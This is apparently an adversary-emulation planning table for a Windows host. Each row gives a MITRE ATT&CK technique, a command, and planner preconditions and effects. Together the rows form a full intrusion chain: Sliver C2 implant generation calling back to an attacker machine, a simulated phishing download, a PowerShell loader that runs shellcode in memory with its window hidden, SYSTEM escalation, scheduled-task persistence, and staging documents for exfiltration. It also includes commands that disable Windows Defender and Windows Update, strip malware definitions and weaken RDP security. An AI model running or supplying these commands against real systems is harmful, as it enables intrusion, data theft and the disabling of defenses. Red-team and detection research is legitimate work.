- Machine ID: host11
- OS: windows
- CVE: []
| uuid | name | id | source | supported_platforms | tactics | technique | description | execution | arguments | preconditions | effects |
|---|---|---|---|---|---|---|---|---|---|---|---|
| 2a602f8e-4d1f-49f1-b3b8-4b74f67cb63a | Build Shellcode for the Sliver implant (for Windows) | ['T1071.001'] | Manual | ['windows'] | ['Command and Control'] | ['Application Layer Protocol - Web Protocols'] | The command is used in the Sliver C2 (Command and Control) framework to generate a shellcode payload designed for remote access to a target machine. |
{'executor': 'Sliver Console', 'command': 'sliver > generate --mtls #{LHOST}:#{LPORT} --os windows --arch 64bit --format shellcode --save #{SAVE_PATH}\nsliver > mtls --lport #{LPORT}\n'} | {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the generated payload', 'type': None}} | ['(os_windows ?target - host)', '(unallocated ?p - payload)', '(unallocated ?file - file)'] | ['(sliver_implant_payload ?p - payload ?target - host)', '(shellcode_payload ?p - payload)', '(file_payload ?p - payload ?file - file)', '(bin_blob_file ?file - file)', '(file_prepared_local ?file - file)', ' |
| 7480189e-1a4b-45f5-b225-c102915f7262 | Simulate the victim download a file on its machine | ['T1566.002'] | Manual | ['windows'] | ['Initial Access'] | ['Phishing: Spearphishing Link'] | This step simulates the victim accidentally downloads a malicious file by clicking a link. | {'executor': 'Human', 'command': "(This step needs human interaction and (temporarily) cannot be executed automatically)\n(On attacker's machine)\npython -m http.server\n\n(On victim's machine)\n1. Open #{LHOST}:#{LPORT} in the browser\n2. Navigate to the path of the file on the attacker's machine\n3. Download the file to #{PATH}\n"} | {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the downloaded payload', 'type': None}} | ['(file_prepared_local ?file - file)'] | ['(file_exists ?path - path ?file - file ?t - host)'] |
| 0617285b-6005-4a73-83c5-d4dc86fcdc35 | Simulate the victim executes a shellcode payload (Windows) | ['T1059.001', 'T1620'] | Manual | ['windows'] | ['Execution', 'Defense Evasion'] | ['Command and Scripting Interpreter: PowerShell', 'Reflective Code Loading'] | None | {'executor': 'Human', 'command': '(This step needs human interaction and (temporarily) cannot be executed automatically)\n(On victim's machine, open a powershell and execute these scripts)\n\n$s=[System.IO.File]::ReadAllBytes('#{SAVE_PATH}');\n$c='using System;using System.Runtime.InteropServices;public class W{[DllImport("kernel32")]public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d);[DllImport("kernel32")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);[DllImport("kernel32")]public static extern uint WaitForSingleObject(IntPtr a,uint b);[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr hWnd,int nCmdShow);}';Add-Type -TypeDefinition $c;$hwnd=[W]::GetConsoleWindow();if($hwnd -ne [IntPtr]::Zero){[W]::ShowWindow($hwnd,0)};\n$p=[W]::VirtualAlloc(0,$s.Length,0x3000,0x40);\n[System.Runtime.InteropServices.Marshal]::Copy($s,0,$p,$s.Length);\n$h=[W]::CreateThread(0,0,$p,0,0,0);[W]::WaitForSingleObject($h,0xFFFFFFFF)\n'} | {'SAVE_PATH': {'default': None, 'description': 'Saved path of the downloaded shellcode payload file', 'type': None}} | ['(file_exists ?path - path ?file - file ?t - host)', '(bin_blob_file ?file - file)'] | ['(file_executed ?file - file ?t - host)'] |
| 1f401bbe-de24-41d2-8e34-d026e25bfb94 | Execute a Sliver Implant Payload | ['T1071.001'] | Sliver | ['windows'] | ['Command and Control'] | ['Application Layer Protocol - Web Protocols'] | Executing a Sliver implant payload will establish a Sliver session. |
{'executor': 'None', 'command': 'None\n'} | None | ['(sliver_implant_payload ?p - payload ?t - host)', '(file_payload ?p - payload ?f - file)', '(file_executed ?f - file ?t - host)', '(unallocated ?s - executor)'] | ['(sliver_session ?s - executor ?t - host)', '~(unallocated ?s - executor)', {'operator': 'When', 'params': {'condition': '(file_executed_as_root ?f - file ?t - host)', 'effect': '(elevated_executor ?s - executor)'}}] |
| 7bfba376-cebc-4094-b1e6-5103b2e83c4e | Execute PowerShell Command | ['T1059.001'] | Sliver | ['windows'] | ['Execution'] | ['Command and Scripting Interpreter: PowerShell\n'] | The powershell.exe command executes a PowerShell script or command on the remote host. This command is useful for performing system monitoring tasks or gathering information about the processes running on a remote machine. |
{'executor': 'Sliver Executor', 'command': 'powershell(#{SessionID},#{Commands})'} | {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} | ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] | ['(powershell ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}] |
| 2074d817-7819-401b-b552-1045672f77f3 | Execute Command (cmd.exe) | ['T1059.003'] | Sliver | ['windows'] | ['Execution'] | ['Command and Scripting Interpreter: Windows Command Shell\n'] | The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. |
{'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} | {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} | ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] | ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}] |
| 0afb5163-8181-432e-9405-4322710c0c37 | Elevated group enumeration using net group (Domain) | ['T1069.002'] | ART | ['windows'] | ['Discovery'] | ['Permission Groups Discovery: Domain Groups'] | Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed. |
{'executor': 'Command Prompt Executor', 'command': 'net groups "Account Operators" /doma\nnet groups "Exchange Organization Management" /doma\nnet group "BUILTIN\Backup Operators" /doma\nnet group /domai "Domain Admins"\n'} | None | ['(command_prompt ?executor - executor ?target - host)', '(os_windows ?target - host)'] | ['(local_permission_groups_info_known ?target - host)'] |
| 0e67b73a-9927-43e1-8f64-04d38f1db57d | Build the executable file of a Sliver implant (for Windows) | ['T1071.001'] | Manual | ['windows'] | ['Command and Control'] | ['Application Layer Protocol - Web Protocols'] | The command is used in the Sliver C2 (Command and Control) framework to generate a payload designed for remote access to a target machine. |
{'executor': 'Sliver Console', 'command': 'sliver > generate --mtls #{LHOST}:#{LPORT} --os windows --arch 64bit --format exe --save #{SAVE_PATH}\nsliver > mtls --lport #{LPORT}\n'} | {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the generated payload', 'type': None}} | ['(os_windows ?target - host)', '(unallocated ?p - payload)', '(unallocated ?file - file)'] | ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?file - file)', '(file_prepared_local ?file - file)', '(exe_file ?file - file)', ' |
| 7480189e-1a4b-45f5-b225-c102915f7262 | Simulate the victim download a file on its machine | ['T1566.002'] | Manual | ['windows'] | ['Initial Access'] | ['Phishing: Spearphishing Link'] | This step simulates the victim accidentally downloads a malicious file by clicking a link. | {'executor': 'Human', 'command': "(This step needs human interaction and (temporarily) cannot be executed automatically)\n(On attacker's machine)\npython -m http.server\n\n(On victim's machine)\n1. Open #{LHOST}:#{LPORT} in the browser\n2. Navigate to the path of the file on the attacker's machine\n3. Download the file to #{PATH}\n"} | {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the downloaded payload', 'type': None}} | ['(file_prepared_local ?file - file)'] | ['(file_exists ?path - path ?file - file ?t - host)'] |
| 42f53695-ad4a-4546-abb6-7d837f644a71 | Scheduled task Local | ['T1053.005'] | ART | ['windows'] | ['Execution', 'Persistence', 'Privilege Escalation'] | ['Scheduled Task/Job: Scheduled Task'] | Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10. |
{'executor': 'Command Prompt Executor', 'command': 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\n'} | {'task_command': {'description': 'What you want to execute', 'type': 'string', 'default': 'C:\windows\system32\cmd.exe'}, 'time': {'description': 'What time 24 Hour', 'type': 'string', 'default': 1210}} | ['(os_windows ?target - host)', '(command_prompt ?executor - executor ?target - host)', '(file_exists ?task_command - path ?file - file ?target - host)', '(exe_file ?file - file)'] | ['(file_execution_at_time ?file - file ?target - host)'] |
| f7f31777-1bbf-4ddc-b7a1-af9f46a5299b | Obtain a persistent Sliver Executor | [None] | Manual | ['windows', 'linux', 'macos'] | ['Persistence'] | [None] | Obtain the persistency of Sliver Executor via scheduled payload file execution. |
{'executor': 'None', 'command': 'None\n'} | None | ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?f - file)', {'operator': 'or', 'operands': ['(file_execution_at_time ?f - file ?target - host)', '(file_execution_at_startup ?f - file ?target - host)']}, '(unallocated ?s - executor)'] | ['(persistent_sliver_session ?s - executor ?target - host)', '~(unallocated ?s - executor)'] |
| d3d9af44-b8ad-4375-8b0a-4bff4b7e419c | Search files of interest and save them to a single zip file (Windows) | ['T1005'] | ART | ['windows'] | ['Collection'] | ['Data from Local System'] | This test searches for files of certain extensions and saves them to a single zip file prior to extraction. |
{'executor': 'Powershell Executor', 'command': '$startingDirectory = "C:"\n$outputZip = "#{output_zip_folder_path}"\n$fileExtensionsString = ".doc, .docx, .txt" \n$fileExtensions = $fileExtensionsString -split ", "\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null\n\nFunction Search-Files {\n param (\n [string]$directory\n )\n $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {\n $fileExtensions -contains $_.Extension.ToLower()\n }\n return $files\n}\n\n$foundFiles = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt 0) {\n $foundFilePaths = $foundFiles.FullName\n Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"\n\n Write-Host "Zip file created: $outputZip\data.zip"\n } else {\n Write-Host "No files found with the specified extensions."\n }\n'} | {'output_zip_folder_path': {'description': 'Path to directory for saving the generated zip file', 'type': 'Path', 'default': 'PathToAtomicsFolder\..\ExternalPayloads\T1005'}} |
| 2e8f1a9c-0b5e-4a7c-b6d4-9a8b2d3c5f1e | Create Directory | ['T1106'] | Sliver | ['windows', 'linux'] | ['Persistence'] | ['File System Permissions Modification'] | The mkdir command creates a new directory on the target system. |
{'executor': 'Sliver Executor', 'command': 'mkdir (#{remote_path},#{SessionID})'} | {'remote_path': {'description': 'Full path of the directory to create'}, 'SessionID': {'description': 'The session ID of the active Sliver connection.'}} | [{'operator': 'or', 'operands': ['(os_windows ?target - host)', '(os_linux ?target - host)']}, '(sliver_session ?executorID - executor ?target - host)'] | ['(dir_exists ?path - path ?dir - dir ?target - host)'] |
| a57fbe4b-3440-452a-88a7-943531ac872a | Zip a Folder with PowerShell for Staging in Temp | ['T1074.001'] | ART | ['windows'] | ['Collection'] | ['Data Staged: Local Data Staging'] | Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip was placed in the temp directory. |
{'executor': 'Powershell Executor', 'command': 'Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force\n'} | {'output_file': {'description': 'Location to save zipped file or folder', 'type': 'path', 'default': None}, 'input_file': {'description': 'Location of file or folder to zip', 'type': 'path', 'default': None}} | ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)', '(dir_exists ?input_file - path ?dir - dir ?target - host)'] | ['(dir_data_saved ?dir - dir ?file - file)', '(file_exists ?output_file - path ?file - file ?target - host)', '(zip_file ?file - file)'] |
| b8cbd2a9-6967-4114-b2b5-162098f74a89 | Take Screenshot | ['T1113'] | Sliver | ['windows', 'linux', 'macos'] | ['Collection'] | ['Screen Capture'] | The screenshot() function takes a screenshot of the remote system with screenshot data in PNG format. |
{'executor': 'Sliver Executor', 'command': 'screenshot(#{SessionID})'} | {'SessionID': {'default': None, 'description': 'The session ID of the active Sliver connection.', 'type': None}} | [{'operator': 'or', 'operands': ['(os_windows ?t - host)', '(os_linux ?t - host)', '(os_macos ?t - host)']}, '(sliver_session ?s - executor ?t - host)'] | ['(screenshot_data_saved ?file - file ?t - host)', '(file_exists ?path - path ?file - file ?t - host)'] |
| 4b81bcfa-fb0a-45e9-90c2-e3efe5160140 | Disable Remote Desktop Security Settings Through Registry | ['T1112'] | ART | ['windows'] | ['Defense Evasion'] | ['Modify Registry'] | A modification registry to disable RDP security settings. This technique was seen in DarkGate malware as part of its installation |
{'executor': 'Command Prompt Executor', 'command': 'reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services" /v "DisableSecuritySettings" /t REG_DWORD /d 1 /f\n'} | None | ['(command_prompt ?executor - executor ?target - host)', '(os_windows ?target - host)'] | ['(rdp_security_settings_disabled ?target - host)'] |
| 5a1d2b9f-4e7f-8a4d-3f7a-6c2e5e9f9f7c | Privilege Escalation | ['T1134'] | Sliver | ['windows'] | ['Privilege Escalation'] | ['Access Token Manipulation'] | The get_system command attempts to gain SYSTEM-level privileges. |
{'executor': 'Sliver Executor', 'command': 'get_system (#{hosting_process},#{config},#{SessionID})'} | {'hosting_process': {'description': 'Target process ID or name for privilege escalation'}, 'config': {'description': 'Configuration options for escalation method', 'default': 'Service'}, 'SessionID': {'description': 'The session ID of the active Sliver connection.'}} | ['(os_windows ?target - host)', '(sliver_session ?executorID - executor ?target - host)'] | ['(elevated_executor ?executorID - executor)'] |
| 2074d817-7819-401b-b552-1045672f77f3 | Execute Command (cmd.exe) | ['T1059.003'] | Sliver | ['windows'] | ['Execution'] | ['Command and Scripting Interpreter: Windows Command Shell\n'] | The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. |
{'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} | {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} | ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] | ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}] |
| 3e757ce7-eca0-411a-9583-1c33b8508d52 | Windows HideSCANetwork Group Policy Feature | ['T1112'] | ART | ['windows'] | ['Defense Evasion'] | ['Modify Registry'] | Modify the registry of the currently logged in user using reg.exe via cmd console to remove the networking icon Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details |
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideSCANetwork /t REG_DWORD /d 1 /f\n'} | None | ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] | ['(networking_icon_group_policy_disabled ?target - host)'] |
| 003f466a-6010-4b15-803a-cbb478a314d7 | Disable Windows Toast Notifications | ['T1112'] | ART | ['windows'] | ['Defense Evasion'] | ['Modify Registry'] | Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification. See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/ |
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f\n'} | None | ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] | ['(toast_notification_disabled ?target - host)'] |
| 7bfba376-cebc-4094-b1e6-5103b2e83c4e | Execute PowerShell Command | ['T1059.001'] | Sliver | ['windows'] | ['Execution'] | ['Command and Scripting Interpreter: PowerShell\n'] | The powershell.exe command executes a PowerShell script or command on the remote host. This command is useful for performing system monitoring tasks or gathering information about the processes running on a remote machine. |
{'executor': 'Sliver Executor', 'command': 'powershell(#{SessionID},#{Commands})'} | {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} | ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] | ['(powershell ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}] |
| 6b8df440-51ec-4d53-bf83-899591c9b5d7 | Tamper with Windows Defender ATP PowerShell | ['T1562.001'] | ART | ['windows'] | ['Defense Evasion'] | ['Impair Defenses: Disable or Modify Tools'] | Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled in Windows settings. |
{'executor': 'Elevated Powershell Executor', 'command': 'Set-MpPreference -DisableRealtimeMonitoring 1\nSet-MpPreference -DisableBehaviorMonitoring 1\nSet-MpPreference -DisableScriptScanning 1\nSet-MpPreference -DisableBlockAtFirstSeen 1\n'} | None | ['(powershell ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] | ['(virus_and_threat_protection_disabled ?target - host)'] |
| 2a78362e-b79a-4482-8e24-be397bce4d85 | Safe Mode Boot | ['T1562.009'] | ART | ['windows'] | ['Defense Evasion'] | ['Impair Defenses: Safe Mode Boot'] | Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot | {'executor': 'Elevated Command Prompt Executor', 'command': 'bcdedit /set safeboot network'} | None | ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] | ['(endpoint_defense_disabled ?target - host)'] |
| 01b20ca8-c7a3-4d86-af59-059f15ed5474 | Disable Windows OS Auto Update | ['T1112'] | ART | ['windows'] | ['Defense Evasion'] | ['Modify Registry'] | Disable Auto Update Windows OS feature. Redline is using this as part of its defense evasion. |
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f\n'} | None | ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] | ['(auto_update_disabled ?target - host)'] |
| 3dacb0d2-46ee-4c27-ac1b-f9886bf91a56 | Disable Windows Lock Workstation Feature | ['T1112'] | ART | ['windows'] | ['Defense Evasion'] | ['Modify Registry'] | Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows Lock workstation feature. See how ransomware abuses this technique- https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/ |
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f\n'} | None | ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] | ['(lock_workstation_disabled ?target - host)'] |
| 3d47daaa-2f56-43e0-94cc-caf5d8d52a68 | Remove Windows Defender Definition Files | ['T1562.001'] | ART | ['windows'] | ['Defense Evasion'] | ['Impair Defenses: Disable or Modify Tools'] | Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments. On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the command will say completed. https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/ |
{'executor': 'Elevated Command Prompt Executor', 'command': '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All\n'} | None | ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] | ['(anti_malware_disabled ?target - host)'] |